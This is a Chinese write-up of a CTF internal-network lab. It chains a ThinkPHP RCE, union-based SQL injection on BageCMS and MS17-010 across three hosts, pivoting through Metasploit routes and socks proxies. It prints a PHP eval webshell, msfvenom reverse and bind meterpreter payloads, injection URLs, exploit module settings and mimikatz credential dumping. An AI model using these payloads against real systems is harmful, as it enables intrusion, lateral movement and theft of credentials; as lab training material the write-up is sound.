admin管理员组

文章数量:1637860

前记:本人刚学内网,会有一些菜,如有文章有错误地方,请各位师傅指出。没有本人同意请勿转载。


CFS-模拟大赛

来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结尾。

前提配置:

下面利用ifconfig来配置网卡的IP地址,当然这个地址是临时的地址,一旦重启网络服务或者重启网络系统就会失效的!!
格式:ifconfig ethx IP/MASK:配置某个网卡的ip地址
例如:设置eth0的IP地址为x.x.x.x,则就可以在命令行下直接键入:ifconfig eth0 192.168.22.22/24

虚拟机上创建vlan分配ip地址

注:我这里Target1地址是192.168.3.117,Target2地址是192.168.22.102
Target1上需要配置宝塔 账号eaj3yhsl 密码41bb8fee
1.这里得添加Target1的ip地址

Target2上需要配置宝塔 账号xdynr37d 密码123qwe…
1.这里得添加Target2的IP地址



Target1:

探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-获取Flag-Target2

前期信息搜集:
1.先利用kali自带的dirb来扫描网站目录,发现robots.txt找到一个flag

2.之后在访问Index.php 会发现网站是一个thinkphp框架

3.大胆的猜测一下这个网站有没有可能存在ThinkPHP5.x远程连接命令执行漏洞,一测试发现还真有直接命令执行上马

4.首先整出这个网站的绝对路径,这是方便写一句话木马

echo '<?php eval($_POST['x']);?>' > /www/wwwroot/ThinkPHP/public/x.php

4.1此时发现大马已经存在,直接菜刀连接大马

5.名为x.php密码为x的大马兄弟以上线

msf: 1.利用菜刀将生成后门放到Target1的主机上:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=kali本机地址 LPORT=1111 -f elf >t1.elf


2.kali上的msf设置监听模块以此来接收反弹:

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST kali本机地址
set LPORT 1111
exploit
background

3.利用菜刀的虚拟终端运行木马
上传成功之后,运行木马,如果权限不够

chmod +777 t1.elf			增加权限
t1.elf				执行木马

4.接收到msf反弹

5.在上msf上添加22网段的路由

获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24

6.如果我们liunx没有对target利用特别好的工具,我们想用外网windows的工具就开启socks代理
开启本地代理:

kali  msf运行下面命令
use auxiliary/server/socks_proxy
set srvport 1080	
exploit

7.在windows上创建sock代理

8.设置msf创建的端口

9.测试联通性

10.然后在选择要代理的exe ,这里是选择软件所在的目录选择软件


11.由于我们要利用kali上面的工具,所以这里就要设置kali的代理,配置kali的proxychains4.conf,然后在最底下添加socks5 和ip端口

12.利用kali查找22网段的端口,最后会爆出22.102的网段80端口开启
其一:

proxychains nmap -sT -Pn 192.168.22.0/24 -p80
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

其二方法:
利用msf中自带的端口扫描

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.0/24
set threads 100
run

Target2:

探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取
Flag-Target3
http://192.168.22.102/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.102/index.php?r=admini/public/login #后台

信息搜集:
1.我们通过nmap或者msf自带的端口扫描工具查找到192.168.22.102存在80端口也就是网页,之后再来访问网页来获取一些信息
2.没有见过的cms一般这里是直接扫网站目录,可以使用sockscap软件作为代理添加御剑或者别的扫描工具来扫描

3.扫描出他的后台,一般这里是测试登录框的注入点或者看源代码找接口未授权访问,这里都没有

4.他就比较狗,在主页里面的源代码中有一个提示

5.这个时候就要请出我们的超级sql工具!!!!!!!

流程:
1.在工具上添加socks5的代理

2.再来注入右击直接空白处选择生成数据包

3.使用他自己的识别注入

4.然后依次来获取库 表 列 数据 获取到的数据是个md5加密,之后去MD5加解密的网站上解密密码是123qwe

5.然后就利用账号密码来进入后台找上传点写个马,显然下一步的时候都会有一个flag

6.到后台的时候看到有这个模板就发现可以修改默认文件,啊 就算你不知道修改,你非要找个上传点,就得找这个上传设置给搞一下添加php后缀


7.朴实的渗透,写个马进去

8.用sockscap软件添加一个caidao的代理,然后一连

9.不要问我为什么要加?r=tag 因为我们在修改index.php的时候 是在tag的文件夹下面修改的

10.然后就起飞了,拿到target主机二的web权限,这里就跟target1一样了 弄一个正向连接kali的大马子
往这上面一传一执行,msf一上线,添加33网段,在一扫描网络,找他的服务器、端口,利用漏洞,啪的一下拿下,恩姆思路太清晰了

target2后续:

web靶场手工注入:  

1.'报错 "正常 很明显 字符型注入

2.就一直’ order by 这样查有多列,会发现有到39无显示,到40有报错,就证明有39个表
%23是#的url编码过来的

3.在利用Union select 联合注入来找数据库,数据库名叫bagecms

view-source:http://192.168.22.102/index.php?r=vul&keyword=1%27%20union%20select%20database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39%23

4.再来获取bagecms之后的所有表名

view-source:http://192.168.22.102/index.php?r=vul&keyword=1' union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema='bagecms' %23

5.再来查找bage_admin所有的列

view-source:http://192.168.22.102/index.php?r=vul&keyword=1' union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name='bage_admin' %23

6.最后一步查找账号密码

view-source:http://192.168.22.102/index.php?r=vul&keyword=1' union select username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bagecms.bage_admin limit 0,1%23

这里解释一下为什么要整一个正向连接的后门,因为我们开始的3网段只有一个22网段的路由,没有33网段的路由,所以并不能连接到33网段的路由,记住此时我们已经拿到target2的web服务器,我们要将这个后门放到他的服务器上,执行这个后门来连接我们的msf,之后msf会反弹回targer2的权限,接下来就可以顺理成章的添加33网段路由

target3

1.生成正向后门:

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

2.访问接受:
kali上运行

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp		bind正向连接
set rhost 192.168.22.102
set LPORT 3333
exploit

t2没有t1的3网段的地址,如果生成之前payload 绑定的3网段的木马 木马反向连接不上
所以这个时候需要生成正向连接后门 bind

2.1上传这个后门,在进行执行

2.2 msf接收到之后就开始老生常谈添加路由

3.信息收集及配置访问

获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24

4.之后在添加一个socks的代理,然后换个端口,因为我们的msf添加了33网段,所以kali可以通过kali–>target1–>target2–>查找target3的ip和端口

background
use auxiliary/server/socks_proxy
set srvport 1081
run

4.1 之后再Kali上面添加一个ip

sudo vi /etc/proxychains4.conf


5.有了代理就可以探测存活主机了,发现了33.33一台存活主机

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.33.0/24
set threads 200
run

Target3:

探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG
1.在通过nmap来扫描33.33存在的端口
proxychains nmap -Pn -sT -T4192.168.33.33 kali上扫描
1.2 最后有445和3389端口,这明显就是win7的机子,大胆一点猜猜是否有永恒之蓝漏洞

1.3 测试33.33的机子上是否存在永恒之蓝漏洞
use auxiliary/scanner/smb/smb_ms17_010 //判断漏洞
set rhosts 192.168.33.33 //设置ip地址
run
1.4 OK!很明显存在ms17010的漏洞

1.5 目标以确定开始攻击,啪的一下很快啊,就直接拿到system权限

use exploit/windows/smb/ms17_010_psexec  //验证漏洞
set payload windows/meterpreter/bind_tcp //正向连接
set RHOSTS 192.168.33.33  //攻击目标
set RHOST 192.168.33.33   //连接目标
exploit

2.大声告诉我,到了这一步该干什么,该干黑客该干的一些事情
getsystem //获得system权限
load mimikatz //导入mimikatz
creds_all //获取全部信息
2.1 获取到了账号密码,这还能干什么,进去干他!

2.2 利用kali来远程登录win7主机

2.3 嗯,机子很好,下次不需在用了


#总结:

1.这个靶场可以学习到如何一步步利用跳板代理横向到最深处网络。
2.Thinkphp5.x Rce漏洞利用,三种利用方式,以及echo写马的注意事项
3.MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动
4.八哥CMS的漏洞利用Getshell,sql注入–>后台管理登陆,后台模板Getshell
5.Ms17-010的psexec利用模块的使用
6.典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络
7.SocksCap64小红帽软件代理工具的使用

本文标签: 靶场内网